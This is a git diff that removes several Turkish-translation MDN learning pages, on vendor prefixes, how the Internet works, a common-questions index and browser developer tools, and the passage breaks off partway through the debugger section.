a/files/tr/glossary/vendor_prefix/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Vendor Prefix -slug: Glossary/Vendor_Prefix -tags: - - CodingScripting - - Glossary - - Sözlük -translation_of: Glossary/Vendor_Prefix ---- -<p>Tarayıcı satıcıları bazen deneysel veya standart dışı CSS özelliklerine ve JavaScript API'lerine önek ekler, bu nedenle geliştiriciler, denemelerine —teoride— güvenmelerini önlerken ve daha sonrasında web geliştiricilerin standardizasyon sürecinde kodunu bozarken yeni fikirler deneyebilirler. Geliştiriciler, tarayıcı davranışı standart hale getirilinceye kadar unprefixed özelliğini eklemeyi beklemelidir.</p> - -<div class="note"> -<p>Tarayıcı satıcıları, deneysel özellikler için satıcı öneklerini kullanmayı bırakmaya çalışıyor. Web geliştiricileri bunları deneysel yapılışlarına rağmen üretim Web sitelerinde kullanıyor. Bu, tarayıcı üreticilerinin uyumluluk sağlamasını ve yeni özellikler üzerinde çalışmasını zorlaştırdı; popüler web sitelerini yüklemek için başka tarayıcıların öneklerini eklemek zorunda kalan küçük tarayıcılar için de zararlıdır.</p> - -<p>Son zamanlarda, trend, kullanıcı tarafından kontrol edilen bayrakların veya tercihlerin arkasına deneysel özellikler eklemek ve çok daha hızlı bir şekilde kararlı bir duruma ulaşabilecek küçük özellikler oluşturmaktır.</p> -</div> - -<h2 id="CSS_önekler">CSS önekler</h2> - -<p>Büyük tarayıcılar aşağıdaki önekleri kullanır:</p> - -<ul> - <li><code>-webkit-</code> (Chrome, Safari, Opera'nın yeni sürümleri, hemen hemen tüm iOS tarayıcıları (iOS için Firefox dahil); Temel olarak, herhangi bir WebKit tabanlı tarayıcı)</li> - <li><code>-moz-</code> (Firefox)</li> - <li><code>-o-</code> (Eski, WebKit öncesi, Opera sürümleri)</li> - <li><code>-ms-</code> (Internet Explorer ve Microsoft Edge)</li> -</ul> - -<h2 id="API_önekler">API önekler</h2> - -<p>Tarihsel olarak, satıcılar da deneysel API'ler için ön ekler kullandılar. Eğer bir arayüzün tamamı deneysel ise, o zaman arayüzün adı ön eklenir (ancak içindeki özellikler veya yöntemler değil). Standart bir arayüze deneysel bir özellik veya yöntem eklenirse, o zaman bireysel yöntem veya özellik eklenir.</p> - -<h3 id="Arayüz_önekleri">Arayüz önekleri</h3> - -<p>Arayüz isimleri için önekler büyük harflidir:</p> - -<ul> - <li><code>WebKit</code> (Chrome, Safari, Opera'nın yeni sürümleri, hemen hemen tüm iOS tarayıcıları (iOS için Firefox dahil); Temel olarak, herhangi bir WebKit tabanlı tarayıcı)</li> - <li><code>Moz</code> (Firefox)</li> - <li><code>O</code> (Eski, WebKit öncesi, Opera sürümleri)</li> - <li><code>MS</code> (Internet Explorer ve Microsoft Edge)</li> -</ul> - -<h3 id="Özellik_ve_yöntem_önekleri">Özellik ve yöntem önekleri</h3> - -<p>Özellikler ve yöntemler için önekler küçük harflidir:</p> - -<ul> - <li><code>webkit</code> (Chrome, Safari, Opera'nın yeni sürümleri, hemen hemen tüm iOS tarayıcıları (iOS için Firefox dahil); Temel olarak, herhangi bir WebKit tabanlı tarayıcı)</li> - <li><code>moz</code> (Firefox)</li> - <li><code>o</code> (Eski, WebKit öncesi, Opera sürümleri))</li> - <li><code>ms</code> (Internet Explorer ve Microsoft Edge)</li> -</ul> - -<h2 id="Daha_fazla_bilgi_edin">Daha fazla bilgi edin</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li><span>{{Interwiki("wikipedia", "CSS_hack#Browser_prefixes", "Satıcı öneki")}} </span> - - <p>Wikipedia'da</p> - </li> -</ul> - -<div>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</div> diff --git a/files/tr/learn/common_questions/how_does_the_internet_work/index.html b/files/tr/learn/common_questions/how_does_the_internet_work/index.html deleted file mode 100644 index 199ba351ea..0000000000 --- a/files/tr/learn/common_questions/how_does_the_internet_work/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: How does the Internet work? -slug: Learn/Common_questions/How_does_the_Internet_work -translation_of: Learn/Common_questions/How_does_the_Internet_work ---- -<div>{{LearnSidebar}}</div> - -<div class="summary"> -<p>This article discusses what the Internet is and how it works.</p> -</div> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>None, but we encourage you to read the <a href="/en-US/docs/Learn/Thinking_before_coding">Article on setting project goals</a> first</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>You will learn the basics of the technical infrastructure of the Web and the difference between Internet and the Web.</td> - </tr> - </tbody> -</table> - -<h2 id="Summary">Summary</h2> - -<p>İnternet, web'in belkemiği, web'i mümkün kılan teknik altyapıdır. İnternet, en temel haliyle, hepsi birbirleriyle iletişim kuran geniş bir bilgisayar ağıdır.</p> - -<p>İnternetin tarihi biraz belirsiz. 1960'larda ABD Ordusu tarafından finanse edilen bir araştırma projesi olarak başladı ve daha sonra birçok devlet üniversitesinin ve özel şirketin desteğiyle 1980'lerde kamu altyapısına dönüştü. İnterneti destekleyen çeşitli teknolojiler zamanla gelişti, ancak çalışma şekli o kadar değişmedi: İnternet bilgisayarları birbirine bağlamanın ve ne olursa olsun, bağlantıda kalmanın bir yolunu bulan bir yoldur.</p> - -<h2 id="Active_Learning">Active Learning</h2> - -<ul> - <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">How the internet Works in 5 minutes</a>: A 5 minute video to understand the very basics of Internet by Aaron Titus.</li> -</ul> - -<h2 id="Deeper_dive">Deeper dive</h2> - -<h3 id="A_simple_network">A simple network</h3> - -<p>When two computers need to communicate, you have to link them, either physically (usually with an <a href="http://en.wikipedia.org/wiki/Ethernet_crossover_cable" rel="external">Ethernet cable</a>) or wirelessly (for example with <a href="http://en.wikipedia.org/wiki/WiFi" rel="external">WiFi</a> or <a href="http://en.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a> systems). All modern computers can sustain any of those connections.</p> - -<div class="note"> -<p><strong>Note:</strong> For the rest of this article, we will only talk about physical cables, but wireless networks work the same.</p> -</div> - -<p><img alt="Two computers linked together" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p> - -<p>Such a network is not limited to two computers. You can connect as many computers as you wish. But it gets complicated quickly. If you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer!</p> - -<p><img alt="Ten computers all together" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png" style="height: 576px; width: 600px;"></p> - -<p>To solve this problem, each computer on a network is connected to a special tiny computer called a <em>router</em>. This <em>router</em> has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. To send a message to computer B, computer A must send the message to the router, which in turn forwards the message to computer B and makes sure the message is not delivered to computer C.</p> - -<p>Once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs.</p> - -<p><img alt="Ten computers with a router" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p> - -<h3 id="A_network_of_networks">A network of networks</h3> - -<p>So far so good. But what about connecting hundreds, thousands, billions of computers? Of course a single <em>router</em> can't scale that far, but, if you read carefully, we said that a <em>router</em> is a computer like any other, so what keeps us from connecting two <em>routers</em> together? Nothing, so let's do that.</p> - -<p><img alt="Two routers linked together" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p> - -<p>By connecting computers to routers, then routers to routers, we are able to scale infinitely.</p> - -<p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p> - -<p>Such a network comes very close to what we call the Internet, but we're missing something. We built that network for our own purposes. There are other networks out there: your friends, your neighbors, anyone can have their own network of computers. But it's not really possible to set cables up between your house and the rest of the world, so how can you handle this? Well, there are already cables linked to your house, for example, electric power and telephone. The telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. To connect our network to the telephone infrastructure, we need a special piece of equipment called a <em>modem</em>. This <em>modem</em> turns the information from our network into information manageable by the telephone infrastructure and vice versa.</p> - -<p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p> - -<p>So we are connected to the telephone infrastructure. The next step is to send the messages from our network to the network we want to reach. To do that, we will connect our network to an Internet Service Provider (ISP). An ISP is a company that manages some special <em>routers</em> that are all linked together and can also access other ISPs' routers. So the message from our network is carried through the network of ISP networks to the destination network. The Internet consists of this whole infrastructure of networks.</p> - -<p><img alt="Full Internet stack" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p> - -<h3 id="Finding_computers">Finding computers</h3> - -<p>If you want to send a message to a computer, you have to specify which one. Thus any computer linked to a network has a unique address that identifies it, called an "IP address" (where IP stands for <em>Internet Protocol</em>). It's an address made of a series of four numbers separated by dots, for example: <code>192.168.2.10</code>.</p> - -<p>That's perfectly fine for computers, but we human beings have a hard time remembering that sort of address. To make things easier, we can alias an IP address with a human readable name called a <em>domain name</em>. For example (at the time of writing; IP addresses can change) <code>google.com</code> is the domain name used on top of the IP address <code>173.194.121.32</code>. So using the domain name is the easiest way for us to reach a computer over the Internet.</p> - -<p><img alt="Show how a domain name can alias an IP address" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p> - -<h3 id="Internet_and_the_web">Internet and the web</h3> - -<p>As you might notice, when we browse the Web with a Web browser, we usually use the domain name to reach a website. Does that mean the Internet and the Web are the same thing? It's not that simple. As we saw, the Internet is a technical infrastructure which allows billions of computers to be connected all together. Among those computers, some computers (called <em>Web servers</em>) can send messages intelligible to web browsers. The <em>Internet</em> is an infrastructure, whereas the <em>Web</em> is a service built on top of the infrastructure. It is worth noting there are several other services built on top of the Internet, such as email and {{Glossary("IRC")}}.</p> - -<h2 id="Next_steps">Next steps</h2> - -<ul> - <li><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">How the Web works</a></li> - <li><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">Understanding the difference between a web page, a web site, a web server and a search engine</a></li> - <li><a href="/en-US/docs/Learn/Understanding_domain_names">Understanding domain names</a></li> -</ul> diff --git a/files/tr/learn/common_questions/index.html b/files/tr/learn/common_questions/index.html deleted file mode 100644 index 4aafae4a32..0000000000 --- a/files/tr/learn/common_questions/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Common questions -slug: Learn/Common_questions -tags: - - CodingScripting - - Infrastructure - - Learn - - NeedsTranslation - - TopicStub - - Web - - WebMechanics -translation_of: Learn/Common_questions ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the <a href="/en-US/docs/Learn/HTML">HTML</a> or <a href="/en-US/docs/Learn/CSS">CSS</a> learning articles.) These articles are designed to work on their own.</p> - -<h2 id="How_the_Web_works">How the Web works</h2> - -<p>This section covers web mechanics —questions relating to general knowledge of the Web ecosystem and how it works.</p> - -<dl> - <dt> - <h3 id="How_does_the_Internet_work"><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">How does the Internet work?</a></h3> - </dt> - <dd>The <strong>Internet</strong> is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together. This article discusses how it works, at a basic level.</dd> - <dt> - <h3 id="What_is_the_difference_between_webpage_website_web_server_and_search_engine"><a href="/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">What is the difference between webpage, website, web server, and search engine?</a></h3> - </dt> - <dd>In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!</dd> - <dt> - <h3 id="What_is_a_URL"><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">What is a URL?</a></h3> - </dt> - <dd>With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.</dd> - <dt> - <h3 id="What_is_a_domain_name"><a href="/en-US/docs/Learn/Common_questions/What_is_a_domain_name">What is a domain name?</a></h3> - </dt> - <dd>Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.</dd> - <dt> - <h3 id="What_is_a_web_server"><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server?</a></h3> - </dt> - <dd>The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.</dd> - <dt> - <h3 id="What_are_hyperlinks"><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">What are hyperlinks?</a></h3> - </dt> - <dd>In this article, we'll go over what hyperlinks are and why they matter.</dd> -</dl> - -<h2 id="Tools_and_setup">Tools and setup</h2> - -<p>Questions related to the tools/software you can use to build websites.</p> - -<dl> - <dt> - <h3 id="How_much_does_it_cost_to_do_something_on_the_Web"><a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">How much does it cost to do something on the Web?</a></h3> - </dt> - <dd>When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).</dd> - <dt> - <h3 id="What_software_do_I_need_to_build_a_website"><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></h3> - </dt> - <dd>In this article we explain which software components you need when you're editing, uploading, or viewing a website.</dd> - <dt> - <h3 id="What_text_editors_are_available"><a href="/en-US/docs/Learn/Common_questions/Available_text_editors">What text editors are available?</a></h3> - </dt> - <dd>In this article we highlight some things to think about when choosing and installing a text editor for web development.</dd> - <dt> - <h3 id="What_are_browser_developer_tools"><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a></h3> - </dt> - <dd>Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.</dd> - <dt> - <h3 id="How_do_you_make_sure_your_website_works_properly"><a href="/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">How do you make sure your website works properly?</a></h3> - </dt> - <dd>So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.</dd> - <dt> - <h3 id="How_do_you_set_up_a_local_testing_server"><a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a></h3> - </dt> - <dd> - <div> - <p>This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.</p> - </div> - </dd> - <dt> - <h3 id="How_do_you_upload_files_to_a_web_server"><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></h3> - </dt> - <dd>This article shows how to publish your site online with <a class="glossaryLink" href="https://developer.mozilla.org/en-US/docs/Glossary/FTP" title="FTP: FTP (File Transfer Protocol) is the standard network protocol for transferring files from one host to another over the Internet through TCP.">FTP</a> tools — one of the most common ways to get a website online so others can access it from their computers.</dd> - <dt> - <h3 id="How_do_I_use_GitHub_Pages"><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">How do I use GitHub Pages?</a></h3> - </dt> - <dd>This article provides a basic guide to publishing content using GitHub's gh-pages feature.</dd> - <dt> - <h3 id="How_do_you_host_your_website_on_Google_App_Engine"><a href="/en-US/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></h3> - </dt> - <dd>Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.</dd> - <dt> - <h3 id="What_tools_are_available_to_debug_and_improve_website_performance"><a href="/en-US/docs/Tools/Performance">What tools are available to debug and improve website performance?</a></h3> - </dt> - <dd>This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.</dd> -</dl> - -<h2 id="Design_and_accessibility">Design and accessibility</h2> - -<p>This section lists questions related to aesthetics, page structure, accessibility techniques, etc.</p> - -<dl> - <dt> - <h3 id="How_do_I_start_to_design_my_website"><a href="/en-US/docs/Learn/Common_questions/Thinking_before_coding">How do I start to design my website?</a></h3> - </dt> - <dd>This article covers the all-important first step of every project: define what you want to accomplish with it.</dd> - <dt> - <h3 id="What_do_common_web_layouts_contain"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">What do common web layouts contain?</a></h3> - </dt> - <dd>When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.</dd> - <dt> - <h3 id="What_is_accessibility"><a href="/en-US/docs/Learn/Common_questions/What_is_accessibility">What is accessibility?</a></h3> - </dt> - <dd>This article introduces the basic concepts behind web accessibility.</dd> - <dt> - <h3 id="How_can_we_design_for_all_types_of_users"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">How can we design for all types of users?</a></h3> - </dt> - <dd>This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.</dd> - <dt> - <h3 id="What_HTML_features_promote_accessibility"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">What HTML features promote accessibility?</a></h3> - </dt> - <dd>This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.</dd> -</dl> - -<h2 id="HTML_CSS_and_JavaScript_questions">HTML, CSS and JavaScript questions</h2> - -<p>For common solutions to HTML/CSS/JavaScript problems, try the following articles:</p> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">Use HTML to solve common problems</a></li> - <li><a href="/en-US/docs/Learn/CSS/Howto">Use CSS to solve common problems</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Howto">Use JavaScript to solve common problems</a></li> -</ul> diff --git a/files/tr/learn/common_questions/what_are_browser_developer_tools/index.html b/files/tr/learn/common_questions/what_are_browser_developer_tools/index.html deleted file mode 100644 index 685317a3fa..0000000000 --- a/files/tr/learn/common_questions/what_are_browser_developer_tools/index.html +++ /dev/null @@ -1,239 +0,0 @@ ---- -title: Tarayıcı geliştirici araçları nelerdir? -slug: Learn/Common_questions/What_are_browser_developer_tools -translation_of: Learn/Common_questions/What_are_browser_developer_tools -original_slug: Learn/Common_questions/Tarayıcı_geliştirici_araçları_araçları_nelerdir ---- -<div>{{IncludeSubnav("/en-US/Learn")}}</div> - -<div class="summary"> -<p>Günümüzde hemen hemen tüm modern tarayıcılar güçlü ve gelişmiş geliştirici araçlarına sahip. Bu araçlar yüklenmiş durumdaki sayfanın HTML, CSS ve JavaScript kodlarını incelemekten sayfanın istediği asset'lere ve bu asset'lerin yüklenme süresini görebilmeye kadar pek çok işleve sahip. Bu yazıda size kullandığınız tarayıcının geliştirici araçlarının temel işlevlerini öğreneceksiniz.</p> -</div> - -<div class="note"> -<p><strong>Not</strong>: Aşağıdaki örnekleri çalıştırmadan önce <a href="/en-US/Learn/Getting_started_with_the_web">Getting started with the Web</a> yazısında geliştirdiğimiz <a href="http://mdn.github.io/beginner-html-site-scripted/">Beginner's example site</a> adlı web sitesini açmalısınız. Bu siteyi aşağıdaki adımları takip ederken açık tutmalısınız.</p> -</div> - -<h2 id="Tarayıcının_geliştirici_araçlarına_ulaşmak">Tarayıcının geliştirici araçlarına ulaşmak</h2> - -<p>Geliştirici araçları tarayıcınızda aşağıdaki görseldekine benzer bir pencerede bulunmakta:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16205/DevTools_63_inspector.png" style="border: 1px solid black; display: block; height: 1364px; margin: 0px auto; width: 672px;"></p> - -<p>Peki bu pencereyi nasıl açabiliriz? Bunun üç yolu bulunmakta:</p> - -<ul> - <li><em><strong>Klavye ile:</strong></em> <em><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></em>, ya da - - <ul> - <li><strong>Internet Explorer ve Edge için: </strong><kbd>F12 </kbd></li> - <li><strong>macOS için: </strong><em><span class="Unicode"><kbd>⌘</kbd> + <kbd>⌥</kbd> + <kbd>I </kbd></span></em></li> - </ul> - </li> - <li><span class="Unicode"><em><strong>Menü çubuğu ile: </strong></em></span> - <ul> - <li><strong>Firefox: </strong>Menu <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> <span class="Unicode"><em><span class="Unicode">➤ Web Developer </span></em><em><span class="Unicode">➤ Toggle Tools, </span></em><span class="Unicode">ya da </span><em>Tools ➤</em></span><em> Web Developer ➤ Toggle Tools</em></li> - <li><strong>Chrome:</strong> <em><span class="Unicode">More tools</span> ➤ Developer tools</em></li> - <li><strong>Safari:</strong> <em><span class="Unicode">Develop ➤</span> Show Web Inspector.</em> Eğer Develop menüsünü göremiyorsanız, <em>Safari<span class="Unicode"> ➤</span> Preferences ➤ Advanced</em>, ve son olarak menü çubuğunda <em>Show Develop</em> seçeneğini işaretleyin.</li> - <li><strong>Opera</strong>: <em><span class="Unicode">Developer ➤</span> Developer tools</em></li> - </ul> - </li> - <li><strong><em>Bağlam menüsü ile:</em></strong> Web sayfasındaki bir öğenin üstünde sağ tıkladıktan (Mac için Ctrl-click), sonra açılan menüden <em>Inspect Element </em>seçeneğini seçin. (Bu yöntemin en büyük avantajı açılan pencerede seçilen kodu vurgulaması.)</li> -</ul> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16206/inspector_context.png" style="display: block; height: 232px; margin: 0px auto; width: 350px;"></p> - -<h2 id="Inspector_DOM_kaşifi_ve_CSS_editörü">Inspector: DOM kaşifi ve CSS editörü</h2> - -<p>Geliştirici araçları genelde varsayılan olarak Inspector penceresini, aşağıdaki görseldekine benzer şekilde, açar. Bu araç bulunduğunuz sayfanın o anki HTML kodunu ve o koda uygulanan CSS kodlarını gösterir. Ayrıca gösterilen kodları düzenleyebilmenizi ve canlı olarak bu değişimleri görebilmenizi sağlar.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16208/inspector_highlighted.png" style="border-style: solid; border-width: 1px; display: block; height: 509px; margin: 0px auto; width: 672px;"></p> - -<p>Eğer inpector penceresini göremiyorsanız,</p> - -<ul> - <li><em>Inspector</em> sekmesine tıklayın/dokunun.</li> - <li>Internet Explorer kullanıyorsanız <em>DOM Explorer</em>'a tıklayın/dokunun ya da <kbd>Ctrl</kbd> + <kbd>1</kbd> tuşlarına basın.</li> - <li>Microsoft Edge ya da Opera kullanıyorsanız Elements'e tıklayın/dokunun.</li> - <li>Safari kullanıyorsanız kontroller çok açık olmayabilir, fakat eğer başka bir seçeneği seçmediyseniz HTML kodunu görebilmeniz gerek. CSS kodlarını görmek için <em>Style</em> butonuna tıklayın.</li> -</ul> - -<h3 id="DOM_inspector'ünü_keşfetmek">DOM inspector'ünü keşfetmek</h3> - -<p>Başlangıç olarak DOM inspector'deki herhangi bir HTML öğesine sağ tıklayın ve açılan bağlam menüsüne göz atın. Mevcut seçenekler tarayıcıdan tarayıcıya değişiklik gösterebilse de başlıca seçenekler hemen hemen her tarayıcıda aynıdır:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16209/dom_inspector.png" style="border: 1px solid black; display: block; height: 320px; margin: 0px auto; width: 350px;"></p> - -<ul> - <li><strong>Delete Node</strong> (bazen <em>Delete Element</em>). Seçili öğeyi siler.</li> - <li><strong>Edit as HTML</strong> (bazen <em>Add attribute</em>/<em>Edit text</em>). Seçili HTML öğesini düzenleyebilmenizi ve sonuçlarını canı olarak görebilmenizi sağlar. Debugging ve test yapmak için oldukça kullanışlı bir özellikdir.</li> - <li><strong>:hover/:active/:focus</strong>. Seçilen öğenin tasarımının nasıl değişeceğine göz atabilmeniz için öğe için seçilen durumu açık duruma getirir.</li> - <li><strong>Copy/Copy as HTML</strong>. Seçilen HTML kodunu kopyalar.</li> - <li>Bazı tarayıcılar Copy CSS Path ve Copy XPath seçeneklerine de sahiptir. Bu seçenekler o anki HTML öğesini seçecek CSS işaretçisini ya da XPath ifadesini kopyalayabilmenizi sağlar.</li> -</ul> - -<p>Şimdi elinizdeki DOM yapısını düzenlemeyi deneyin. Öncelikle bir öğenin üstünde çift tıklayın, ya da sağ tıklayıp Edit as HTML seçeneğini seçin. Sonrasında seçtiğiniz öğeyi istediğiniz gibi düzenleyebilirsiniz fakat unutmayınki bu değişiklikler kalıcı değildir.</p> - -<h3 id="CSS_editörünü_keşfetmek">CSS editörünü keşfetmek</h3> - -<p>Varsayılan olarak CSS editörü seçili öğeye uygulanan CSS kurallarını gösterir:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16211/CSS_Inspector.png" style="border: 1px solid black; display: block; height: 281px; margin: 0px auto; width: 500px;"></p> - -<p>CSS editörünün pek çok kullanışlı özelliği var:</p> - -<ul> - <li>Öğeye uygulanan kurallar öğe için en spesifik olandan en az spesifik olana doğru sıralanır.</li> - <li>Deklarasyonların yanındaki kutucuklara tıklayarak o deklarasyonun kaldırılması durumunda ne olacağını görebilirsiniz.</li> - <li>Kısaltılmış özelliklerin yanlarındaki ok işaretlerine tıklayarak uzun hallerini görebilirsiniz.</li> - <li>Özellik isimlerine ya da değerlere tıklarsanız bir metin kutusu açılacaktır. Bu metin kutusunda yeni değerler ekleyebilir ve canlı olarak oluşacak tasarımı görebilirsiniz.</li> - <li>Her kuralın yanında kuralın dosya adı ve bulunduğu satır numarası bulunmakta. Kurala tıklamanız durumunda geliştirici aracı sizin için kural dosyasını açacaktır. Bu dosyada kuralları düzenleyebilir ve kaydedebilirsiniz.</li> - <li>Kuralların süslü parantezlerinden kapatma parantezine tıklayarak yeni deklarasyonlar yazabileceğiniz bir metin kutusunu açabilirisiniz.</li> -</ul> - -<p>CSS Viewer üzerinde tıklayabileceğiniz bir kaç sekme görebilirsiniz:</p> - -<ul> - <li><em>Computed</em>: Bu sekme size seçili öğenin hesaplanmış son tasarımını (tarayıcın öğeye uyguladığı son veriler ile) gösterir.</li> - <li><em>Layout</em>: Firefox'da bu alan iki bölümden oluşur: - <ul> - <li><em>Box Model</em>: Seçili öğenin box modelini görsel bir şekilde temsil eder. Bu modelde öğenin sahip olduğu pading, border ve margin değerlerini ve öğenin büyüklüğünü görebilirsiniz.</li> - <li><em>Grid</em>: Eğer inceledeğiniz sayfa CSS grid yapısını kullanıyorsa bu yapının detaylarını gösterir.</li> - </ul> - </li> - <li><em>Fonts</em>: Firefox'da <em>Fonts </em>sekmesi seçili öğede kullanılan fontları gösterir.</li> -</ul> - -<h3 id="Daha_fazlası_için">Daha fazlası için</h3> - -<p>Farklı tarayıcıların Inspector'larını keşfedin:</p> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector">Firefox Page inspector</a></li> - <li><a href="http://msdn.microsoft.com/en-us/library/ie/dn255008%28v=vs.85%29.aspx">IE DOM Explorer</a></li> - <li><a href="https://developer.chrome.com/devtools/docs/dom-and-styles">Chrome DOM inspector</a> (Opera'da da aynı şekilde çalışmaktadır.)</li> - <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/ResourcesandtheDOM/ResourcesandtheDOM.html#//apple_ref/doc/uid/TP40007874-CH3-SW1">Safari DOM inspector and style explorer</a></li> -</ul> - -<h2 id="JavaScript_debugger'ı">JavaScript debugger'ı</h2> - -<p>JavaScript debugger, kodunuzdaki problemleri belirleyebilmek için kodun çalışması sırasında beklemesini istediğiniz noktalarda değişkenlerin değerlerini gözlemleyebilme ve breakpointler atayabilme olanağı sağlar.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16239/firefox_debugger.png" style="border: 1px solid black; display: block; height: 556px; margin: 0 auto; width: 672px;"></p> - -<p>Debugger'a erişmek için:</p> - -<p><strong>Firefox</strong>: JavaScript debugger için, <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> Simgesine tıkla ➤ <em>Web Developer</em> ➤ <em>Debugger</em> ya da <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd> tuşlarına bas. Eğer geliştirici araçları açık durumdaysa <strong>Debugger </strong>sekmesine tıkla.</p> - -<p><strong>Chrome</strong>: Geliştirici araçlarını aç ve <strong>S</strong><strong>ources </strong>sekmesine tıkla. (Opera'da da aynı yöntem geçerli.)</p> - -<p><strong>Edge ve Internet Explorer 11</strong>: <kbd>F12</kbd> tuşuna bastıktan sonra <kbd>Ctrl</kbd> + <kbd>3</kbd> tuşlarına basın. Eğer geliştirici araçları açık durumda ise Debugger sekmesine tıklayın.</p> - -<p><strong>Safari</strong>: Geliştirici araçlarını açtıktan sonra Debugger sekmesini tıklayın.</p> - -<h3 id="Debugger'ı_keşfetmek">Debugger'ı keşfetmek</h3> - -<p>Firefox'da JavaScript Debugger üç bölümden oluşmaktadır.</p> - -<h4 id="Dosya_Listesi">Dosya Listesi</h4> - -<p>Soldaki ilk bölmemiz bize debug ettiğiniz sayfa ile ilgili dosyaları listelemektedir. Üzerinde çalışmak istediğiniz dosyayı seçebilirsiniz. Bir dosyanın üstüne tıklayarak içeriğini Debugger'ın orta bölümünde görüntüleyebilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16240/File_List.png" style="border: 1px solid black; display: block; height: 326px; margin: 0 auto; width: 350px;"></p> - -<h4 id="Kaynak_Kodu">Kaynak Kodu</h4> - -<p>Kodun çalışmasını durdurmak istediğiniz yere breakpoint atayabilirsiniz. Görseldeki kodun 18 numaralı satırının vurgulanması bu satıra bir breakpoint atandığını göstermektedir.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16241/Source_code.png" style="border: 1px solid black; display: block; height: 251px; margin: 0 auto; width: 400px;"></p> - -<h4 id="Watch_expression'ları_ve_breakpoint'ler">Watch expression'ları ve breakpoint'ler</h4> - -<p>Sağdaki 